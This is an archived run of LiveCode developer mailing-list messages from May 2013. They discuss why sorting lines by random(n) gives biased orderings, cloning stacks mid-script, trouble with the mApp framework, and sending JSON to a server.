<519D35C4.7000605@researchware.com> <519D3A9A.90707@economy-x-talk.com> <519D5414.8040304@researchware.com> <519D63AA.7070302@economy-x-talk.com> <519D6BE8.1070209@researchware.com> <1369312173.17990.YahooMailNeo@web141102.mail.bf1.yahoo.com> <1369329048.67896.YahooMailNeo@web141103.mail.bf1.yahoo.com> Message-ID: Thanks Jan. Pete lcSQL Software On Thu, May 23, 2013 at 10:10 AM, Jan Schenkel wrote: > For those interested, I started the discussion on the engine contributors > forum: > > > Cheers, > > Jan Schenkel. > > ===== > Quartam Reports & PDF Library for LiveCode > www.quartam.com > > > ===== > "As we grow older, we grow both wiser and more foolish at the same time." > (La Rochefoucauld) > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bvg at mac.com Thu May 23 14:47:38 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Thu, 23 May 2013 20:47:38 +0200 Subject: [ON-REV] by the way what happened to on-rev ftp editor? In-Reply-To: <1369321470401-4665299.post@n4.nabble.com> References: <1369321470401-4665299.post@n4.nabble.com> Message-ID: <83B5AFC1-B44C-4632-919F-86CE78FC3790@mac.com> i suggest you contact support at runrev.com On 23.05.2013, at 17:04, Robert Mann wrote: > ? Last week, on opening on-rev editor version 2 (latest?!) i got a msg kind > of "a new version is on the way.. just.. go and get a pint of beer!" set of! > (actually there was new download link but did not work) > > ? Today the editor just freezes (wanted to try an alternative upload to > interarchy), no beer! no more msg. > > > > > > -- > View this message in context: http://runtime-revolution.278305.n4.nabble.com/ON-REV-by-the-way-what-happened-to-on-rev-ftp-editor-tp4665299.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From bvg at mac.com Thu May 23 14:54:47 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Thu, 23 May 2013 20:54:47 +0200 Subject: randomly order a list In-Reply-To: References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> Message-ID: So much misinformation in this thread :( The random function works! it uses the same code as many other programs to do random stuff. Of course it's using a semi random list, but the technicalities about when random is not random enough does not come into place for sorting lines. sort the lines of theList by random(the number of lines in theList) This too works. there's no need to make an arbitrary large number _BECAUSE IT MIGHT IN SOME CASES DECREASE RANDOMNESS_. Mostly when your variable grows bigger then anticipated, so usually you're fine. But still, don't use arbitrary magic numbers, it's just bad coding habits. As for the original poster: DO NOT SET THE RANDOMSEED!!!! Then your code will start to work as expected, or as erroneous as you coded it ;-) On 23.05.2013, at 03:16, Jacques Hausser wrote: > Chris, I think Randy has put his finger on something: the * is before any number or letter in the ASCII numeration. I do not know what the random function uses when randomizing a "set" (I was not even aware of this possibility) but that could well be the ASCII value(s) of the first char(s). > > Jacques > > Le 23 mai 2013 ? 02:36, Randy Hengst a ?crit : > >> Well Chris, I'm sure you've already tried this, but when this kind of thing happens to me? in other words, when a script is correct, but the results are wrong? I've messed something up later in the script with another put statement that overrides it. Maybe the place in the script where you've removed the * >> >> My debugging skills are not top notch? So, I'd brute force things and put an "answer tPossibleAnswers" after each line to see what is happening? and again at the end of the handler. >> >> I'd be interested in what you discover. >> >> be well, >> randy >> ----- >> On May 22, 2013, at 4:34 PM, Chris Sheffield wrote: >> >>> Thanks for the suggestions everyone, but I'm still getting strange results, and I'm beginning to think there's something I'm doing that's affecting use of the random() function. Not really sure what it would be though. Here's my code: >>> >>> set the itemDel to tab >>> put "*" & item 3 of sRecSet into tPossibleAnswers -- correct answer >>> put cr & item 4 of sRecSet after tPossibleAnswers -- distractor 1 >>> put cr & item 5 of sRecSet after tPossibleAnswers -- distractor 2 >>> sort lines of tPossibleAnswers by random(999999) -- randomly re-order the list >>> >>> This app pulls words from a database and presents three possible answers to choose from. The asterisk above is used to identify the correct answer after the sort takes place. It's removed later on. The sort only works randomly one time. After that, the same sort order is used every time, so the correct answer *always* ends up listed first. It doesn't matter if I use a very high number or if I use 'the number of lines of tPossibleAnswers'. Something is very strange. Just as a quick test, I added a button to the card with this inside: >>> >>> put "one" & cr & "two" & cr & "three" into tLines >>> sort lines of tLines by random(the number of lines of tLines) >>> answer tLines >>> >>> This seems to work just fine. Yes, it does mean getting the same order sometimes twice or maybe even three times in a row, but not usually more than that, which would be fine in this case. So I'm not sure what's going on with my actual code. I'm no longer setting the randomSeed or anything like that. >>> >>> The other strange thing is no matter what I try, if I use the random() function or the any keyword in anyway, I get similar results. Something is affecting the "randomness". This is for an iOS app, btw, if that makes any difference to anyone. This might be kind of a dumb thing to do, but the only other thing I can think of would be to add several more lines of data to the three actual possible answers, then sort the whole thing, then somehow filter out everything I added before the sort. With more lines, maybe I'd get better results? >>> >>> Thanks again, >>> Chris >>> >>> On May 22, 2013, at 3:03 PM, Dar Scott wrote: >>> >>>> I think you are going to get the first line of the original list (correct answer) about half the time. Does that seem right to you from what you have seen? The correct answer will be in the first two about 80% of the time. >>>> >>>> Using the larger argument for random should give you better proportions. You should get it in the first line a third of the time. >>>> >>>> If you only interested in the first line, there might be some methods that are clearer and more fun. >>>> >>>> Dar >>>> >>>> >>>> On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: >>>> >>>>> I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: >>>>> >>>>> sort lines of myVar by random(the number of lines of myVar) >>>>> >>>>> But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. >>>>> >>>>> So does anyone have a good way to do this? >>>>> >>>>> Thanks, >>>>> Chris >>>>> >>>>> >>>>> -- >>>>> Chris Sheffield >>>>> Read Naturally, Inc. >>>>> www.readnaturally.com >>>>> >>>>> >>>>> _______________________________________________ >>>>> use-livecode mailing list >>>>> use-livecode at lists.runrev.com >>>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From pete at lcsql.com Thu May 23 15:12:00 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 23 May 2013 12:12:00 -0700 Subject: Continuing a script after cloning a stack Message-ID: I have a script that clones a substack, followed by some other commands to rename the cloned substack and set it's mainstack. As soon as the clone command is issued, control passes to the cloned stack and the rest of my script is ignored. That's pretty much expected behavior but I'm wondering if there are any tricks that would allow my script to continue processing or perhaps some other method of duplicating a stack. I tried copying the stack to the clipboard followed by a paste but control passed to the new stack immediately after the paste. Pete lcSQL Software From pete at lcsql.com Thu May 23 15:13:42 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 23 May 2013 12:13:42 -0700 Subject: mApp Framework problems In-Reply-To: References: Message-ID: Ummm... what did I miss? What is mApp? Pete lcSQL Software On Thu, May 23, 2013 at 11:21 AM, Thomas McGrath III wrote: > Alan, > > I have been working with mApp a lot the past few days. Although I did not > see this particular problem I can say that you have to be careful deleting > elements after applying rules to them. I ran into something where > everything went haywire after deleting a background group. Let us know what > you figure out. > > Tom > > -- Tom McGrath III > http://lazyriver.on-rev.com > mcgrath3 at mac.com > > On May 23, 2013, at 11:53 AM, Alan Stenhouse > wrote: > > > G'day all > > > > Am starting to use Monte's mApp framework and have run into a couple of > problems: > > > > 1. Added a datagrid and this works and displays fine on normal > resolution displays but on Retina displays for iPhone + iPad nothing is > displayed. Seems sort of strange - just want to check if anyone else has > done this ok or not? > > > > 2. In testing/playing further, I now seem to have mucked something else > up - am certainly getting some unexpected behaviour (Think this error came > up after deleting a datagrid from one of the cards in the UI stack, though > there are still datagrids on other cards) . When I now open the mainstack > or try testing on the simulator, what had previously worked now gives me > the error > > > > "Could not find stack" > > > > This error comes from the mApp framework - I can see the code and see > that the property (added by the framework) > > > > mAppProps["UIStack"] > > > > of my main UI stack is empty, thus resulting in this error. Strange. > > > > If anyone has ideas I'm keen to learn... or else I'll start again and > see if I can somehow replicate. > > > > Thanks for any help! > > > > cheers > > > > Alan :-) > > > > p.s. Very much looking forward to that high-priority item on the > development list - the beer machine! > > > > -- > > Alan Stenhouse > > alanstenhouse at hotmail.com > > > > Check out our apps on the App Store: > > > > BeatSpeak - the multilingual talking metronome; > > EV-Point - Find your nearest Electric Vehicle Recharge Station. > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From matthias_livecode_150811 at m-r-d.de Thu May 23 15:21:06 2013 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Thu, 23 May 2013 21:21:06 +0200 Subject: [ON-REV] by the way what happened to on-rev ftp editor? In-Reply-To: <83B5AFC1-B44C-4632-919F-86CE78FC3790@mac.com> References: <1369321470401-4665299.post@n4.nabble.com> <83B5AFC1-B44C-4632-919F-86CE78FC3790@mac.com> Message-ID: Support email address for on-rev related things is on-rev at runrev.com Regards Matthias Am 23.05.2013 um 20:47 schrieb Bj?rnke von Gierke : > i suggest you contact support at runrev.com > > On 23.05.2013, at 17:04, Robert Mann wrote: > >> ? Last week, on opening on-rev editor version 2 (latest?!) i got a msg kind >> of "a new version is on the way.. just.. go and get a pint of beer!" set of! >> (actually there was new download link but did not work) >> >> ? Today the editor just freezes (wanted to try an alternative upload to >> interarchy), no beer! no more msg. >> >> >> >> >> >> -- >> View this message in context: http://runtime-revolution.278305.n4.nabble.com/ON-REV-by-the-way-what-happened-to-on-rev-ftp-editor-tp4665299.html >> Sent from the Revolution - User mailing list archive at Nabble.com. >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > -- > > Use an alternative Dictionary viewer: > http://bjoernke.com/bvgdocu/ > > Chat with other RunRev developers: > http://bjoernke.com/chatrev/ > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From janschenkel at yahoo.com Thu May 23 15:24:34 2013 From: janschenkel at yahoo.com (Jan Schenkel) Date: Thu, 23 May 2013 12:24:34 -0700 (PDT) Subject: Continuing a script after cloning a stack In-Reply-To: References: Message-ID: <1369337074.20359.YahooMailNeo@web141106.mail.bf1.yahoo.com> My guess is something in its scripts (or some backscript) results in an 'exit to top' Have you tried surrounding the clone command with a 'lock messages' / 'unlock messages' pair? If you still need 'preOpenStack' and related messages to run afterwards, you'd have to 'send' them individually afterwards. Jan Schenkel. ? ===== Quartam Reports & PDF Library for LiveCode www.quartam.com ===== "As we grow older, we grow both wiser and more foolish at the same time." (La Rochefoucauld) ----- Original Message ----- From: Peter Haworth To: How to use LiveCode Cc: Sent: Thursday, May 23, 2013 9:12 PM Subject: Continuing a script after cloning a stack I have a script that clones a substack, followed by some other commands to rename the cloned substack and set it's mainstack.? As soon as the clone command is issued, control passes to the cloned stack and the rest of my script is ignored. That's pretty much expected behavior but I'm wondering if there are any tricks that would allow my script to continue processing or perhaps some other method of duplicating a stack.? I tried copying the stack to the clipboard followed by a paste but control passed to the new stack immediately after the paste. Pete lcSQL Software _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From mcgrath3 at mac.com Thu May 23 15:24:38 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Thu, 23 May 2013 15:24:38 -0400 Subject: mApp Framework problems In-Reply-To: References: Message-ID: <48917015-44B2-49EB-BBC2-1B5C4309466E@mac.com> Monte has a download link on his website for mApp which is interesting in doing UI scaling and positioning. http://mergext.com/mergext/ Way down at the bottom. Tom -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com On May 23, 2013, at 3:13 PM, Peter Haworth wrote: > Ummm... what did I miss? What is mApp? > > Pete > lcSQL Software > > > On Thu, May 23, 2013 at 11:21 AM, Thomas McGrath III wrote: > >> Alan, >> >> I have been working with mApp a lot the past few days. Although I did not >> see this particular problem I can say that you have to be careful deleting >> elements after applying rules to them. I ran into something where >> everything went haywire after deleting a background group. Let us know what >> you figure out. >> >> Tom >> >> -- Tom McGrath III >> http://lazyriver.on-rev.com >> mcgrath3 at mac.com >> >> On May 23, 2013, at 11:53 AM, Alan Stenhouse >> wrote: >> >>> G'day all >>> >>> Am starting to use Monte's mApp framework and have run into a couple of >> problems: >>> >>> 1. Added a datagrid and this works and displays fine on normal >> resolution displays but on Retina displays for iPhone + iPad nothing is >> displayed. Seems sort of strange - just want to check if anyone else has >> done this ok or not? >>> >>> 2. In testing/playing further, I now seem to have mucked something else >> up - am certainly getting some unexpected behaviour (Think this error came >> up after deleting a datagrid from one of the cards in the UI stack, though >> there are still datagrids on other cards) . When I now open the mainstack >> or try testing on the simulator, what had previously worked now gives me >> the error >>> >>> "Could not find stack" >>> >>> This error comes from the mApp framework - I can see the code and see >> that the property (added by the framework) >>> >>> mAppProps["UIStack"] >>> >>> of my main UI stack is empty, thus resulting in this error. Strange. >>> >>> If anyone has ideas I'm keen to learn... or else I'll start again and >> see if I can somehow replicate. >>> >>> Thanks for any help! >>> >>> cheers >>> >>> Alan :-) >>> >>> p.s. Very much looking forward to that high-priority item on the >> development list - the beer machine! >>> >>> -- >>> Alan Stenhouse >>> alanstenhouse at hotmail.com >>> >>> Check out our apps on the App Store: >>> >>> BeatSpeak - the multilingual talking metronome; >>> EV-Point - Find your nearest Electric Vehicle Recharge Station. >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bvg at mac.com Thu May 23 15:27:36 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Thu, 23 May 2013 21:27:36 +0200 Subject: Continuing a script after cloning a stack In-Reply-To: References: Message-ID: I think you could do something like this: clone this stack set the name of this stack to "my new stack" go stack "my previously only stack" use lock screen and/or "go hidden" respectively "hide stack" to reduce screen flickering. On 23.05.2013, at 21:12, Peter Haworth wrote: > I have a script that clones a substack, followed by some other commands to > rename the cloned substack and set it's mainstack. As soon as the clone > command is issued, control passes to the cloned stack and the rest of my > script is ignored. > > That's pretty much expected behavior but I'm wondering if there are any > tricks that would allow my script to continue processing or perhaps some > other method of duplicating a stack. I tried copying the stack to the > clipboard followed by a paste but control passed to the new > stack immediately after the paste. > > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From bvg at mac.com Thu May 23 15:28:08 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Thu, 23 May 2013 21:28:08 +0200 Subject: [ON-REV] by the way what happened to on-rev ftp editor? In-Reply-To: References: <1369321470401-4665299.post@n4.nabble.com> <83B5AFC1-B44C-4632-919F-86CE78FC3790@mac.com> Message-ID: On 23.05.2013, at 21:21, Matthias Rebbe wrote: > Support email address for on-rev related things is on-rev at runrev.com >> i suggest you contact support at runrev.com Ah right, email both ;-) -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From devin_asay at byu.edu Thu May 23 15:31:23 2013 From: devin_asay at byu.edu (Devin Asay) Date: Thu, 23 May 2013 19:31:23 +0000 Subject: Data From MySQL to SQLite Message-ID: <24D1F94C-6300-4188-B284-69C2C9930E4F@byu.edu> Hi all, I have an ongoing need to populate some SQLite tables with data stored in a MySQL database. The parallel table structures in both db systems are created; I just need to move the data. I can figure out how to write the queries, but before I spend a lot of time I thought I'd check to see if any libraries already exist for this. Anyone done this already? Thanks, Devin From gcanyon at gmail.com Thu May 23 15:30:57 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Thu, 23 May 2013 14:30:57 -0500 Subject: randomly order a list In-Reply-To: References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> Message-ID: There is, indeed much confusion here. I, of course, am correct ;-) I simplified the problem to a list of two items: 1,2 That way the sort command has exactly two outcomes. It either reverses the list, or it doesn't. The two outcomes should happen roughly 50% of the time. This script demonstrates that sorting by a large random number works, and sorting by a random number up to the number of items (2) does not. on mouseUp put "1,2" into originalList repeat 10000 put originalList into newList sort items of newList by random(2) if newList is originalList then add 1 to sameCount1 end repeat repeat 10000 put originalList into newList sort items of newList by random(999999999) if newList is originalList then add 1 to sameCount2 end repeat put "Sorting by random(2) kept the same order" && sameCount1 && "out of 10000 times." & cr & \ "Sorting by random(999999999) kept the same order" && sameCount2 && "out of 10000 times." end mouseUp For anyone interested in the math, as you would expect, the random numbers for the sort come out 2,1 roughly 1/4 of the time, so the result is that the list is in the same order roughly 75% of the time when using random(2). Here's one result I got: Sorting by random(2) kept the same order 7514 out of 10000 times. Sorting by random(999999999) kept the same order 5014 out of 10000 times. If anyone disagrees, come at me, bro. ;-) From ambassador at fourthworld.com Thu May 23 15:40:31 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Thu, 23 May 2013 12:40:31 -0700 Subject: randomly order a list In-Reply-To: References: Message-ID: <519E70AF.8080900@fourthworld.com> Bj?rnke von Gierke wrote: > sort the lines of theList by random(the number of lines in theList) > > This too works. there's no need to make an arbitrary large number > _BECAUSE IT MIGHT IN SOME CASES DECREASE RANDOMNESS_. Mostly when > your variable grows bigger then anticipated, so usually you're fine. > But still, don't use arbitrary magic numbers, it's just bad coding > habits. Surprisingly, it does seem to improve the distribution of results to use a large value in the argument to random. While waiting for a backup here I took a couple minutes to test the options presented in this discussion in a stack: go url "http://fourthworld.net/lc/RandomSort.rev" It turns out that both my crude manual-like method and using a large value for random produce far more even distributions of results than using random with the number of lines in the list. In fact, as you'll see in that stack (unless I goofed in tossing it together so quickly - please check the card script for the functions and let me know if I screwed up) it seems that we get the same results scoring most-frequent and less-frequent when using the number of lines of the list, while the other two methods vary the most- and least-frequent pretty much evenly across the range of possible solutions. I'm not sure why this is the case, and while I'm reluctant to call it a "bug" it may well be an "anomaly". :) But by any name, useful to know. And for those perverse souls obsessed with performance, the crude method I posted earlier also turns out to be ever so slightly faster than using the random function. The difference isn't significant, and of course random is the better choice for longer lists, but once again it reminds us that LiveCode is seductive this way, that the number of lines we type rarely tells us much about how hard the engine needs to work under the hood. RegEx vs. pull parsers is another example, and there are many others to discover for when performance is critical. > As for the original poster: DO NOT SET THE RANDOMSEED!!!! ...unless what you're looking for is a reproducible set of random-seeming results. Setting the randomSeed to a given value will deliver a reasonable distribution of results, but each time you run the same code with the same randomSeed you'll get the exact same results. If that's what you're after, it's useful to know, but of course for most normal uses of the random function setting the randomSeed will not be what you're after. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From dsc at swcp.com Thu May 23 15:41:57 2013 From: dsc at swcp.com (Dar Scott) Date: Thu, 23 May 2013 13:41:57 -0600 Subject: randomly order a list In-Reply-To: References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> Message-ID: <57FD30D8-D8BB-4D34-8C06-16830F392F32@swcp.com> I agree, Geoff! Your theory and measurements are consistent with mine for 3. An important part of Geoff's test is this: > put originalList into newList Dar On May 23, 2013, at 1:30 PM, Geoff Canyon wrote: > There is, indeed much confusion here. I, of course, am correct ;-) > > I simplified the problem to a list of two items: > > 1,2 > > That way the sort command has exactly two outcomes. It either reverses the > list, or it doesn't. The two outcomes should happen roughly 50% of the > time. This script demonstrates that sorting by a large random number works, > and sorting by a random number up to the number of items (2) does not. > > on mouseUp > put "1,2" into originalList > repeat 10000 > put originalList into newList > sort items of newList by random(2) > if newList is originalList then add 1 to sameCount1 > end repeat > repeat 10000 > put originalList into newList > sort items of newList by random(999999999) > if newList is originalList then add 1 to sameCount2 > end repeat > put "Sorting by random(2) kept the same order" && sameCount1 && "out of > 10000 times." & cr & \ > "Sorting by random(999999999) kept the same order" && sameCount2 > && "out of 10000 times." > end mouseUp > > For anyone interested in the math, as you would expect, the random numbers > for the sort come out 2,1 roughly 1/4 of the time, so the result is that > the list is in the same order roughly 75% of the time when using random(2). > Here's one result I got: > > Sorting by random(2) kept the same order 7514 out of 10000 times. > Sorting by random(999999999) kept the same order 5014 out of 10000 times. > > If anyone disagrees, come at me, bro. ;-) > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ambassador at fourthworld.com Thu May 23 15:43:57 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Thu, 23 May 2013 12:43:57 -0700 Subject: Continuing a script after cloning a stack In-Reply-To: References: Message-ID: <519E717D.8000807@fourthworld.com> Peter Haworth wrote: > I have a script that clones a substack, followed by some other commands to > rename the cloned substack and set it's mainstack. As soon as the clone > command is issued, control passes to the cloned stack and the rest of my > script is ignored. We could expect focus to change to the new stack, but not the script stopping altogether. If locking messages before running your script fixes the problem, this may be a bug in the IDE which should be fixed ASAP IMO. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From mcgrath3 at mac.com Thu May 23 15:45:02 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Thu, 23 May 2013 15:45:02 -0400 Subject: JSON Message-ID: I have a server project where I need to send some JSON to a URL. I've never done this before. Has anyone got a simple example/explanation of how this is achieved? Thanks in advance. Tom -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com From mcgrath3 at mac.com Thu May 23 15:51:45 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Thu, 23 May 2013 15:51:45 -0400 Subject: JSON In-Reply-To: References: Message-ID: <02D4479A-D857-4FCB-841F-CC1591715501@mac.com> This is what i will need to send: => Data Json Array :- (1 - Android , 2- Iphone, 3 - Ipad for Device Type) {"data": {"appuser_details": { "name":"abc", "email":"abc at gmail.com", "device_type":"1", "dentist_id":"71", "device_token":"_______15fa92fe928bf5d071a921f21003ed0f873cbe271ced016630e433d49" } } } t -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com On May 23, 2013, at 3:45 PM, Thomas McGrath III wrote: > I have a server project where I need to send some JSON to a URL. I've never done this before. Has anyone got a simple example/explanation of how this is achieved? > > Thanks in advance. > > Tom > > -- Tom McGrath III > http://lazyriver.on-rev.com > mcgrath3 at mac.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bvg at mac.com Thu May 23 15:52:35 2013 From: bvg at mac.com (=?iso-8859-1?Q?Bj=F6rnke_von_Gierke?=) Date: Thu, 23 May 2013 21:52:35 +0200 Subject: randomly order a list In-Reply-To: References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <970D2BFD-54C0-49E0-8EE1-B0B1497A9961@unil.ch> Message-ID: Fuck me that's correct. :( So we do need the sort to actually be "for each", instead of random. Would you guys say this is a bug, or that a feature request for making sort use a unique random value instead of an arbitrary one? On 23.05.2013, at 06:20, Dar Scott wrote: > Easy mistake to make, Jacques, but it is not 3!. > > Random() emulates independent random numbers. It cannot avoid numbers returned before in the sort. Each line will get a randomly assigned number independent of the other lines. > > The number of ways 3 lines can be ordered does not apply. > > Each line will be assigned a number by random(). So it is possible that the first line will be assigned a 2 and the other lines assigned 2, also. The probability of that is one out of 3^3. (Not three factorial) > > You can create a function to log the assignments and use that as the comparison metric function. You can see the assignments, and different lines can have the same value. > > Each sort will get a random pattern of 1, 2 and 3. There are 27 of them. > > Fourteen of them will cause a sort with the first line coming first again. That is 52%, not 33%. > > You can write code to sort the same starting string a thousand times and the same first line will show up 52% of the time, not 33%. > > Dar > > On May 22, 2013, at 6:16 PM, Jacques Hausser wrote: > >> Dar, >> >> I'm afraid you are wrong? >> they would not be 27 possibilities (3^3) but only 6 (3! - factorial), because each line (first, second and third) can only be present once. >> >> And I tested random (3) and random (9999) corrected to give a number between 1 and 3 with the following scripts: >> >> on mouseUp >> put "" into fld "FR" >> repeat 100 >> put random(3) & comma after fld "FR" >> end repeat >> end mouseUp >> >> result: 1,3,2,3,1,1,1,3,3,3,3,2,1,2,2,2,1,2,2,3,1,3,2,3,2,2,3,2,2,3,3,2,2,3,1,3,1,3,2,2,1,3,2,1,3,3,2,3? >> mean value: 1.992 >> >> on mouseUp >> put "" into fld "FR" >> put 0 into tt >> repeat 1000 >> put random(9999) into tx >> switch >> case tx <= 3333 >> put 1 into t >> break >> case tx <= 6666 >> put 2 into t >> break >> default >> put 3 into t >> end switch >> add t to tt >> end repeat >> put tt/1000 into fld "Moyenne" >> end mouseUp >> >> result: 1,2,3,3,1,3,2,3,3,2,3,2,3,3,2,2,1,1,3,3,2,2,2,1,3,1,3,3,3,3,1,1,3,2,3,1,2,1,1,1,2,1,3,2,3,2,2? >> mean value: 1.992 >> >> so, it seems to be no statistical difference in the results ! No reason to use large numbers when not needed. (Ideally, the means should be 2, not 1.992, but well?) >> >> Jacques >> >> >> Le 23 mai 2013 ? 01:23, Dar Scott a ?crit : >> >>> Here is (I think) the situation for random(3). >>> >>> Lines will be (virtually) assigned numbers randomly; there are 27 possibilities. >>> >>> There are 9 cases in which the first line is assigned a 1. It is first in the sort. >>> There are 4 cases in which the first line is assigned a 2 and the other lines get 2 or 3. It is first in the sort >>> There is one case in which all get a 3. Again, the first line comes in first. >>> >>> So, assuming my math is good, that means the first line comes in first 14 out of 27 times. That is 52% and should match what people are getting empirically. >>> >>> This doesn't address broken random(), though. It just emphasizes the importance of the big number for random(). >>> >>> Dar >>> >>> >>> On May 22, 2013, at 11:59 AM, Chris Sheffield wrote: >>> >>>> I have a list of three words that I need to be randomly sorted. To start with, the first word is the correct answer to a question. I want to re-order the list so that the correct answer may be the second or third word, and not necessarily the first. How can I do this successfully every time? The docs give an example like this: >>>> >>>> sort lines of myVar by random(the number of lines of myVar) >>>> >>>> But this only seems to work successfully one time. After that, the list is always set so the first word is the correct answer. So then I tried randomly setting the randomSeed value, since this value is supposed to affect the random() function and the any keyword, but this didn't seem to make much difference except to change it so either the second or third word is *always* the right answer. I need it to be more mixed up than that. >>>> >>>> So does anyone have a good way to do this? >>>> >>>> Thanks, >>>> Chris >>>> >>>> >>>> -- >>>> Chris Sheffield >>>> Read Naturally, Inc. >>>> www.readnaturally.com >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> 